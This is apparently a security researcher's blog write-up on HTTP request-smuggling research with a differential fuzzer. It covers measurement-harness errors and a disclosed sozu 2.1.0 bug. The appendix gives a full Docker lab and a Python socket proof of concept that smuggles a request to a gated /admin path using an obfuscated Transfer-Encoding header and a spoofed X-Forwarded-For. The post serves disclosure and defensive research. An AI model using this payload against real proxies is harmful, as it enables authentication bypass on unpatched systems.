And then two of the checks I had just written turned out to be the thing this post is about, which I did not enjoy. The negative control asserted that the backend framed one response, and one response is also what you get from a request the front rejected outright. Those are opposite outcomes and the control could not tell them apart, so it now reads the tapped bytes and requires the control to have actually arrived: a Content-Length present, a Transfer-Encoding absent. Separately, the gate I wrote to prove the new axes were measured checked that every variant name appeared as a key in the results, which the runner fills in unconditionally. It could only have failed by crashing. Both were written by someone who had spent a week on exactly this failure mode. Knowing the shape does not stop you producing it; running the mutation does.

the matrix was measuring one header

This is the one that bothered me most on re-reading. All eleven variants were spellings of Transfer-Encoding. Eleven ways to write chunked. The engine has thirty-six mutation operators and the table was exercising the value space of a single field, which is a narrow question dressed up as a broad one.

There are two more axes and neither is exotic. Header shape: whitespace before the colon, a bare LF used as a line terminator, a second conflicting Content-Length. The disagreement there is about where a header line ends, not about what a value says. Chunk terminator: an extension on the zero-length chunk, an LF-only terminator, an 0x-prefixed size. The header says chunked in all three; what moves is where the body ends.

Both reach parsers the first axis cannot:

bare-LF TE            SMUGGLE on Go net/http, h11, Hypercorn
chunk-ext terminator  SMUGGLE on Go net/http, h11, Hypercorn, Puma

Puma is the interesting row. It rejects every Transfer-Encoding value variant and it rejects a bare LF, and it still frames the hidden request when the terminating chunk carries an extension. Under the old eleven-variant table Puma looked strict. It was strict about the one thing being measured.

And then the front half says no. Every proxy in the population either rejects the new shapes or normalizes them, so nothing that honors them can be reached through anything I have. The honoring set grew and the exploitable set did not, which is exactly the distinction the two-halves method exists to make. A table that only listed the backends would read as four new vulnerabilities. There are none.

where the search can run at all

The fuzzer had only ever been pointed at the HTTP/3 lab. Seven reverse proxies sat in the matrix and none had ever had the search aimed at it, so I wired that up with calibration on: fire the known CL.TE positive through the front first, and refuse to search if the oracle cannot see it.

Only sozu 2.1.0 calibrates. HAProxy, nginx, Caddy, Traefik, httpd and Envoy all abort:

sozu 2.1.0 (known-vulnerable): calibrated=True verdict=clean hits=0
HAProxy 3.2: calibration aborted: oracle is BLIND to a known positive
nginx 1.31:  calibration aborted: oracle is BLIND to a known positive

I expected that to feel like a failure and it does not. A backend-count oracle can only search a front that already forwards a framing conflict. On a front that normalizes, there is nothing for the counter to observe, and any clean sweep it produced would have been an untested instrument reporting silence. Six proxies where the search cannot run is a fact about the method, and I would rather have it printed than discovered later.

the axis I said nobody can measure

The post has a section arguing that the QUIC layer is unmeasurable with public tooling. That was true for RESET_STREAM_AT and it was quietly untrue one layer up: HTTP/2 was sitting there unmeasured for a much more boring reason, which is that I had not written the client.

HTTP/2 has no chunked encoding, and RFC 9113 forbids connection-specific header fields on the wire. So the question on that axis is not which spelling a proxy honors. It is whether the proxy mints an HTTP/1 Transfer-Encoding out of a request that was never allowed to carry one. The reason no public tool asks is that a conformant HTTP/2 client refuses to send those fields, and that refusal is precisely what an attacker does not have. Turn the validation off and the question becomes askable.

Five h2c-capable fronts, none of them mints one. Every forbidden field is refused outright. The row that makes that readable is the control: a well-formed h2 request comes out the other side as a clean HTTP/1 request with no Transfer-Encoding, which proves the origin was reachable and the harness could see a forwarded request at all. Without that row, no-forward on every line is indistinguishable from a measurement that was never running. Which is the same sentence as the rest of this post, arrived at from a fourth direction.

adding three servers broke five things

Added 2026-09-07.

The last section ended on the matrix measuring the value space of one header, which I fixed, and on the population being too small, which I did not. So I added three: Varnish, the only cache in the panel and the position where a desync becomes cache poisoning, and Tomcat and Jetty, the JVM parsers, which were the largest hole in the table by deployment footprint.

Thirteen backends, eight fronts, a hundred and four predicted pairs. Zero new vulnerabilities. What the three targets found instead was five defects in the instrument, and I want to be precise about the pattern, because it is now the only pattern this project produces: every one of them was a verdict that asserted more than it had measured. Not a crash, not a wrong number. A word in a table that meant more than the code behind it could support.

the verdict that named a direction it never looked at

A desync is two parsers disagreeing and there are two ways to disagree. CL.TE: the front frames by Content-Length and passes on a Transfer-Encoding it ignored, the back honors it. TE.CL: the front frames by Transfer-Encoding, the back ignores it. Same two headers on the wire either way.

The front half had a verdict called FORWARDS-BOTH whose docstring said the proxy had “framed by Content-Length itself”. What the code did was check that two headers were present. Those are not the same claim, and the difference is the entire direction of the bug. Worse, the recording origin threw the body away, with a comment saying it was irrelevant to a header verdict. The body is the only witness to which framing the proxy acted on. I had written the comment that guaranteed the measurement could not be made.

So a proxy that de-chunked and forwarded both headers was reported as CL.TE-dangerous, which is a false positive against a TE-honoring backend, and could never be paired with a Content-Length-framing backend, which is a false negative. The join hardcoded one direction on top of that.

Both are fixed. The origin keeps the stream, the verdict compares the bytes it sent against the bytes that arrived, and the join reads each row’s direction instead of assuming. The TE.CL column is currently empty: nothing in the panel ignores a well-formed Transfer-Encoding. That zero is worth something only because the carrier now carries a sentinel, which is the rule from the top of this post applied to a column rather than a run.

the thing I got wrong in public

Chasing that, I measured Tomcat accepting both framing headers and answering once, concluded it framed by Content-Length in violation of RFC 9112 section 6.1, and wrote it into the repo README as a finding.

It is not true. The control I had not run was the obvious one: does the detector work on this server at all? Send a short Content-Length with a whole request behind it and Tomcat frames three requests, so it pipelines fine. Send a lone Transfer-Encoding with a zero-chunk carrier and it frames two, so it honors chunked correctly. Both framing headers together and it answers once with Connection: close.

It was not framing anything. It was hanging up. Nothing can be smuggled into a connection that no longer exists, and my table had been calling that CL-safe, which reads as “frames by Content-Length” to anyone using the table to choose a backend. Those are different security postures: a Content-Length-framing server is safe against CL.TE and exposed to TE.CL, a server that closes is exposed to neither.

closed is its own verdict now. Thirty-seven of the sixty-one previously-safe cells were teardowns. Rust hyper eleven, Tomcat ten, Go net/http two, and Werkzeug fourteen that were never trustworthy anyway. More than half of every clean reading in the published table meant something other than what it said.

the checker that condemned a clean run

drift compares two runs and exits 1 on a regression. It also warns when a cell “stopped measuring”, on the correct reasoning that a cell which went dark is exactly the one whose apparent improvement you should not celebrate.

It fired on this run. Twelve cells, all Werkzeug, and the message said the run was broken and nothing in it should be trusted. Werkzeug’s pipelining control has failed since the day it was added. It was untrusted in the baseline and untrusted now. Nothing stopped measuring, because nothing was ever measuring, and the tool built to keep me honest was telling me to throw away a good run.

Splitting that into UNMEASURED for a row that lost its trust and UNTRUSTED for one that never had any took four lines. Finding it took the population change. And fixing it exposed one more: the report loop iterated a hardcoded list of buckets, so the twelve moves were counted in the header and then never printed. The header said twenty-three, the body listed eleven, and I had read that output more than once without noticing. There is an assertion there now that the list covers every direction the comparison can emit.

the one I wrote myself, an hour after writing about this exact failure

Making the origin keep the whole forwarded stream, I appended it when the connection closed. That is where you would put it. It is also wrong, and wrong in the way this post keeps describing: a front that keeps its upstream connection alive never closes inside the probe’s three-hundred-millisecond window, so the capture came back empty and the row read no-forward, which is the verdict for a proxy that forwarded nothing at all. Apache httpd moved on three variants before I caught it in the drift output.

The buffer publishes on the first byte now. The part worth keeping is the test: it reads at a hundred milliseconds, inside the origin’s four-hundred-millisecond idle timeout, and there is a comment saying why. The first version slept four hundred, the connection timed out and closed on its own, and the broken implementation passed. I had written a test for the bug I had just fixed that could not detect it.

That is five, plus one, in a day, in a tool whose entire subject is this failure. I do not think that reflects badly on the discipline. I think it is what the discipline looks like from the inside: you do not stop producing the defect, you get faster at catching it, and the catching only happens because something in the setup changes and the assumption stops holding. Three servers were enough. Nothing about them was exotic. They were just different enough from the eleven already there that four sentences in the codebase stopped being true at once.

The honest score for the day: no new vulnerability, one published claim retracted, thirty-seven verdicts corrected, and a column that can now say a thing it could not say before and currently says nothing.

appendix: the tool, the older data, and how to run it

what Phage actually is

I have been saying “the fuzzer” this whole post, so here is the thing itself. Phage started as a fork of CyberArk’s QuicDrawH3 and turned into an evolutionary differential fuzzer for framing bugs.

The core decision is that a test case is not a byte string. It is a genome: an ordered list of framing operations, Headers, Data, Delay, Fin, Reset, and the QUIC transport ops. Every op maps to one call on a real HTTP/1, HTTP/2 or HTTP/3 client, so a genome is always sendable by construction. You never waste a generation on something the client refuses to emit. Mutation operators, thirty-six of them now, edit the genome rather than the bytes: flip an end_stream flag, desync a declared Content-Length from the body actually sent, obfuscate a Transfer-Encoding, split a DATA frame, insert a Delay so a FIN lands late.

Selection is MAP-Elites rather than a single fitness score. The archive is keyed by a behavior descriptor, roughly the shape of the request plus what the backend actually did with it, so the search keeps one elite per behavior cell instead of collapsing onto a single best. For a class like this, where the interesting region is a narrow ridge, keeping the weird-but-alive variants around matters more than optimizing one number.

The oracle is the part I care about most, and this post is the story of getting it wrong. It is differential, it counts what the origin framed, and it carries a built-in negative control: the same genome with the trigger removed must come back clean, or the hit is discarded. Since this work I also split the tap signal from the impact signal, because “the proxy forwarded a body-length lie” and “a victim got hurt” are not the same claim, and only the second one is a vulnerability.

Pointing it at a pair is one command against a lab:

python -m phage.evo --host 127.0.0.1 --port 9200 \
    --echo-log logs/backend.jsonl --generations 200 --raw

--raw is the one that matters for this class. It hand-builds the frames instead of going through a conformant client, so a Content-Length that contradicts the body, or a header a polite client would refuse to send, actually reaches the wire. A saved hit replays with --replay poc.json.

handing it back to the fuzzer

A finding a human dug out by hand is only half a tool result, so I gave it back to Phage. I added the tab-suffixed Transfer-Encoding to the mutation gene pool and the Go backend to the panel, and let the engine run its own mutations against the live pair.

The first attempt found nothing. A blind search over the full operator set, thirty-four of them at the time, is too sparse to assemble a three-part payload, the framing header plus the empty-chunk body plus the smuggled request, before other operators corrupt one of the pieces. Sixty single mutations from a smuggle-shaped seed produced zero hits, which is exactly what the arithmetic predicts: one operator in thirty-four, and only two of its six variants actually split the pair.

So I ran it as a targeted campaign, biasing the mutation prior toward the two framing genes, which is how you hunt a known class rather than a novelty. From a smuggle-shaped seed it evaluated 150 genomes and its differential oracle flagged two, whose triggering values were exactly chunked with a trailing tab and chunked with a trailing space, and cleared the obfuscations that get rejected. The tool rediscovered the bug I had found by hand.

The honest note: the engine did the discrimination, which is the part that matters. It is the difference between a fuzzer that emits chunked\t and a fuzzer that can tell you chunked\t splits sozu from Go while chunked;a=b does not. The blind-search sparsity is a real limit and I am not hiding it behind the campaign number.

the lab fought back

One field note, because it is the kind of thing that never makes it into a clean writeup and always eats an hour. Midway through validating the final packaged PoC, my Docker daemon’s containerd content store corrupted itself: blob ... operation not permitted, on read, as root, for a blob that plainly existed. Restarts did nothing, because a restart does not fix a permission or consistency fault in the content store. It was self-inflicted, an interrupted docker pull racing an rmi that left the store inconsistent. The fix was to clear the stuck ingest and normalize the store permissions, not to wipe every image. I mention it only because “run it on a clean target” assumes the target stays clean, and a lab that has been abused for a week is not a clean target. Validate the exact shipped steps from a fresh unzip, on a machine that can actually run them, or say plainly that you could not.

the hand-measured honor matrix

Before any of the automation above existed, I built the backend half of this by hand, one Docker lab per row, because I wanted to know how wide the exposure was. It is worth keeping because it covers a broader population than the automated harness currently reaches, including the JVM and the older Ruby and Python servers. Every cell is an isolated Docker lab with a positive control (plain chunked smuggles) and a negative control (CL-only frames one). SMUGGLE means it de-chunks and keeps the connection alive so the second request frames.

Four production stacks are live behind sozu on the trailing-whitespace variants: Go, Puma, h11, Hypercorn. The exotic obfuscations that sozu also forwards (chunked;a=b, chunked, identity) are honored by nobody in production, only Werkzeug’s dev server, and it closes the connection so it does not pool. That last row matters for the fix: trimming the tab is not enough, because the class is wider than the tab, but the exploitable slice today is the trailing-whitespace column.

the code

The harness is in Phage under matrix/.

python matrix/run_matrix.py     # back half: which servers honor which values
python matrix/run_fronts.py     # front half: which proxies forward which values
python matrix/pairs.py          # join them into predicted pairs

Adding a backend is one entry in backends.py: an image, a port, and a trivial app. Adding a front is one entry in fronts.py with a config template. Adding a variant is one line, and it multiplies across the whole population.

Three things I would keep if I threw the rest away. Measure halves, not pairs, because the halves compose and the pairs do not. Gate every row on a control that proves the instrument can produce a positive, and print UNTRUSTED when it cannot. And put a known-vulnerable target in the population permanently, so the day the harness quietly breaks, the calibration row goes quiet first.

reproduce it

I kept the lab to three files so you do not have to trust my screenshots. It is the real thing: the official sozu image, a two-frontend auth topology, and a Go origin that logs what it actually framed. Two commands and you watch a 401 turn into a 200.

One note now that the fix has shipped. The image is pinned to clevercloud/sozu:2.1.0, the release I reported against. If you swap it for latest you get 2.2.0 and the smuggled request never reaches the origin, which is the fastest way to watch the patch work.

The topology, docker-compose.yml:

services:
  backend:
    image: golang:1.23-alpine
    working_dir: /app
    volumes:
      - ./be_go.go:/app/be_go.go:ro
      - ./logs:/logs
    command: sh -c "cp /app/be_go.go /tmp/be_go.go && go run /tmp/be_go.go"
    networks: { net: { ipv4_address: 172.63.0.10 } }
  sozu:
    image: clevercloud/sozu:2.1.0   # vulnerable; 2.2.0 and later are fixed
    depends_on: [backend]
    ports: [ "127.0.0.1:9200:9200/tcp" ]
    volumes:
      - ./sozu.toml:/etc/sozu/sozu.toml:ro
    command: ["start", "-c", "/etc/sozu/sozu.toml"]
    networks: { net: { ipv4_address: 172.63.0.12 } }
networks:
  net: { ipam: { config: [ { subnet: 172.63.0.0/24 } ] } }

The sozu config, sozu.toml. This is the whole precondition in nine lines: two frontends on the same host, one open, one gated, both pointing at the same backend. The hash is admin:secret, generated the way the sozu docs tell you to, printf 'secret' | sha256sum:

[[listeners]]
protocol = "http"
address = "0.0.0.0:9200"

[clusters.C]
protocol = "http"
load_balancing = "ROUND_ROBIN"
www_authenticate = 'Basic realm="admin"'
authorized_hashes = [ "admin:2bb80d537b1da3e38bd30361aa855686bde0eacd7162fef6a25fe97bf527a25b" ]
frontends = [
    { address = "0.0.0.0:9200", hostname = "lab", path = "/public", path_type = "PREFIX" },
    { address = "0.0.0.0:9200", hostname = "lab", path = "/admin", path_type = "PREFIX", required_auth = true },
]
backends = [ { address = "172.63.0.10:8080", backend_id = "b1" } ]

The origin, be_go.go. The only thing that matters here is that Go’s net/http trims the trailing whitespace and de-chunks, so it disagrees with sozu. It logs the Authorization header it saw, which is the whole point:

package main

import ( "fmt"; "io"; "net/http"; "os" )

func logline(s string) {
	f, _ := os.OpenFile("/logs/backend.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if f != nil { f.WriteString(s + "\n"); f.Close() }
}

func main() {
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		b, _ := io.ReadAll(r.Body)
		logline(fmt.Sprintf("REQ %s %s auth=%q xff=%q te=%v bodylen=%d",
			r.Method, r.URL.Path, r.Header.Get("Authorization"),
			r.Header.Get("X-Forwarded-For"), r.TransferEncoding, len(b)))
		w.Header().Set("Content-Length", fmt.Sprint(len("RESP-FOR:"+r.URL.Path+"\n")))
		io.WriteString(w, "RESP-FOR:"+r.URL.Path+"\n")
	})
	http.ListenAndServe("0.0.0.0:8080", nil)
}

Bring it up (the Go backend compiles on the first run, so give it a moment):

docker compose up -d
until [ "$(curl -s -o /dev/null -w '%{http_code}' -H 'Host: lab' http://127.0.0.1:9200/public/x)" = "200" ]; do sleep 2; done

Now the one request that does it, no harness, just a socket. An unauthenticated carrier to /public with the gated request smuggled in its body, then a follow-up on the same connection to read the answer back:

import socket
smug = b"GET /admin/secret HTTP/1.1\r\nHost: lab\r\nX-Forwarded-For: 6.6.6.6\r\n\r\n"
body = b"0\r\n\r\n" + smug
req  = (b"GET /public/x HTTP/1.1\r\nHost: lab\r\n"
        b"Content-Length: %d\r\nTransfer-Encoding: chunked\t\r\n\r\n" % len(body)) + body
s = socket.create_connection(("127.0.0.1", 9200), timeout=5)
s.sendall(req + b"GET /public/y HTTP/1.1\r\nHost: lab\r\nConnection: close\r\n\r\n")
s.settimeout(2)
try:
    while s.recv(4096): pass
except OSError: pass
s.close()
print(open("logs/backend.log").read())

The backend log prints REQ GET /admin/secret ... auth="". sozu framed one request; the origin framed two; the second one is the gated endpoint arriving with no Authorization and an attacker-chosen X-Forwarded-For. Delete the single Transfer-Encoding: chunked\t line and the /admin/secret line vanishes. That is the whole bug in one diff.

The fuzzer itself and the eight-stack HTTP/3 and HTTP/2 downgrade panel I started from are in the Phage repo. The sozu CL.TE lab above is the specific pair this post is about; the panel labs there are the general net I was dragging when I found it.

references

• T-Reqs: HTTP Request Smuggling with Differential Fuzzing (CCS 2021)
• The HTTP Garden (2024)
• PortSwigger: HTTP request smuggling
• sozu-proxy/sozu issue #726 (2021, the report this regressed from)
• kawa PR #19, the fix, and PR #21, the follow-up on header-value OWS
• kawa 0.7.0 and sozu 2.2.0, the fixed releases
• RustSec advisory PR #3142 for the kawa crate
• draft-ietf-quic-reliable-stream-reset
• RFC 9112 section 6.1 (chunked must be the final coding) and 6.3 (reject when framing is undeterminable), RFC 9110 section 5.6.3 (OWS)